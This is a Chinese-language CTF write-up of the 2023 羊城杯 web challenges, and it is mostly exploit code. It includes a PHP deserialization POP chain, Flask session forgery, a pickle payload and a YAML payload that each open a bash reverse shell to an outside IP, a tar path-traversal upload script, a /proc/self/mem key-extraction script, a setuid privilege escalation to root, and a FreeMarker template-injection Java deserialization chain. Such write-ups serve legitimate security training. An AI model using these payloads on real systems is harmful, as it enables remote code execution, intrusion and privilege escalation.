2023 羊城杯-web wp

队友带飞!线下见!!!

D0n’t pl4y g4m3!!!

确实不是玩游戏捏

p0p.php存在302的跳转,跳转来到hint.zip下载附件

ycb1

然后尊都假都解密

读道start.sh,看到是php -s启动

php版本7.4.21存在任意文件读取

读取p0p.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>

构造payload

通过键值对构造[‘finish’ => true]和[‘YCB1’ => ‘highlight_file’];

过滤调用highlight函数读取

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class Pro {
private $exp;
private $rce2;
}
class Yang {
}
class Cheng {
public $name;
}

class Bei {
}
$cheng = new Cheng;
$cheng->name = ['finish' => true];
$payload=new Bei;
$payload->CTF=new yang;
$payload->CTF->finish=$cheng;
$payload->rce='/tmp/catcatf1ag.txt';
$payload->fine=new yang;
$payload->fine->finish=$cheng;
$payload->fine->key=true;
$payload->fine->now=['YCB1' => 'highlight_file'];
echo serialize($payload);

Serpent

给了源码

直接就是一个session伪造

1
2
3
4
5
6
(kalikali)-[~]
flask_session_cookie manager3.py encode -s 'GWHTnhiv5viLQV'-t "{'Attribute':{'admin':1,'name':'admin','s
ecret_key':'GWHTnhiv5ViLQV'}}"

eyJBdHRyaW]1dGUiOnsiYWRtaw4iojEsIm5hbwuioiJhZG1pbiIsInNlY3J1dF9rZxkioiJHV0hUbmhpVjVWaUxRViJ9fQ.ZPLP9w.ga2uHXo
QnG2viqwGulwqe-9qrVg

成功伪造成admin

访问/ppppppppppick1e

在响应头里面存在源码

经典pick1e 反序列化,ban了R指令,简单的,直接弹shell

1
p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no."

弹到vps,上面没有权限读取

find指令发现了python3.8有root权限

直接

1
python3.8 -c 'import os;os.setuid(0);os.system("/bin/sh")'

开启一个有root的sh,这里catflag就好了

ez_yaml

下载源码,进行审计

1
2
3
4
5
if request.args:
username request.args.get('username')
with open(f'config/{username}.yaml','rb')as f:
Config yaml.load(f.read())
return render_template('admin.html',username="admin",message="success")

这里存在yaml反序列化漏洞

但是要求上传恶意的文件到/config目录下面才能执行

但是过滤了文件名字里面的点

注意到上传tar文件会使用如下的代码

1
2
3
4
if type ='tar':
tf = tarfile.TarFile(fiLepath)
tf.extractall(extractdir)
return tf.getnames()

这里有一个cve,存在目录穿越

构造一个恶意的yaml文件

1
!!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/47.120.0.245/3232 0>&1'"]

压缩在tar包里面

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import tarfile
def changeFileName(filename):
filename.name = '../../../../config/666.yaml'
return filename

url="http://8000.endpoint-a1f0ca170af74e2bb5dff4ede1dd7227.m.ins.cloud.dasctf.com:81/upload"
with tarfile.open("exp.tar", "w") as tar:
tar.add('test.yaml', filter=changeFileName)
http={"http":"127.0.0.1:8080"}
response = requests.post(url=url, files={"file": open("exp.tar", 'rb')},proxies=http)
print(response.text)

访问src?username=test 触发yaml,获得shell

ArkNights

非预期

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data

这里过滤了flag,但是可以读取环境变量里面的flag吗

预期

可以看到这段代码

1
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"

这里不是构造了一个随机的数,作为密钥,但是如果想要爆破出密钥,估计下一届比赛开了都出不来

这里可以读取环境变量,里面存在了环境变量,这样就可以得到密钥

需要先读取内存映射/proc/self/maps来定位key的位置,再利用/read路由读取key,可以使用如下脚本:

这里使用Tranquility大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests, re, time

url = "http://5000.endpoint-64c8f01c2b234d718b0e628fd789c642.m.ins.cloud.dasctf.com:81"
maps_url = f"{url}/read?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
print(maps)
for m in maps:
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
read_url = f"{url}/read?file=/proc/self/mem&start={Offset}&end={Length}"
print(read_url)

s = requests.get(read_url,timeout=6,stream=True)
rt = re.findall("[a-z0-9]{8}*[a-z0-9]{4}*[a-z0-9]{4}*[a-z0-9]{4}*[a-z0-9]{12}", s.text)
time.sleep(1)
if rt:
print(rt)

得到密钥之后就可以伪造,然后rce

Ez_java

遇到java,ok紫砂

首先看到lib里面存在一个freemarker的包

查一下有个模板注入的点

HtmlInvocationHandler方法里面存在一个invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package BOOT-INF.classes.com.ycbjava.Utils;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class HtmlInvocationHandler implements InvocationHandler, Serializable {
public Map obj;

public HtmlInvocationHandler() {}

public HtmlInvocationHandler(Map obj) {
this.obj = obj;
}

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object result = this.obj.get(method.getName());
return result;
}
}

在这里触发htmlclass的get方法,可以触发文件上传

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
Object obj;
try {
obj = Boolean.valueOf(HtmlUploadUtil.uploadfile(this.filename, this.content));
} catch (Exception e) {
throw new RuntimeException(e);
}
return obj;
}

触发文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class HtmlUploadUtil {
public static boolean uploadfile(String filename, String content) {
if (filename != null && !filename.endsWith(".ftl"))
return false;
String realPath = "/app/templates/" + filename;
if (realPath.contains("../") || realPath.contains("..\\"))
return false;
try {
BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
writer.write(content);
writer.close();
return true;
} catch (IOException e) {
System.err.println("Error uploading file: " + e.getMessage());
return false;
}
}
}

这里找一个freemarker板子打就好了

来自

https://blog.xmcve.com/2023/09/03/%E7%BE%8A%E5%9F%8E%E6%9D%AF-2023-Writeup/#title-6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.ycbjava.Utils;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import javax.management.BadAttributeValueExpException;

public class aaa {
public static String string;

public aaa() {
}

public static void main(String[] args) throws Exception {
HtmlMap htmlMap = new HtmlMap();
htmlMap.filename = "index.ftl";
htmlMap.content = "${name}
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()(name)}
${VOID}";
ClassLoader classLoader = htmlMap.getClass().getClassLoader();
Class[] interfaces = htmlMap.getClass().getInterfaces();
HtmlInvocationHandler infoInvocationHandler = new HtmlInvocationHandler(htmlMap);
Map proxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, infoInvocationHandler);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
Field declaredField = badAttributeValueExpException.getClass().getDeclaredField("val");
declaredField.setAccessible(true);
declaredField.set(badAttributeValueExpException, proxy);
serial(badAttributeValueExpException);
}

private static void serial(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.flush();
objectOutputStream.close();
string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(string);
}
}

ez_web

一个一个一个啊

ld.so.preload RCTF2022的trick

还没研究

研究完了回来补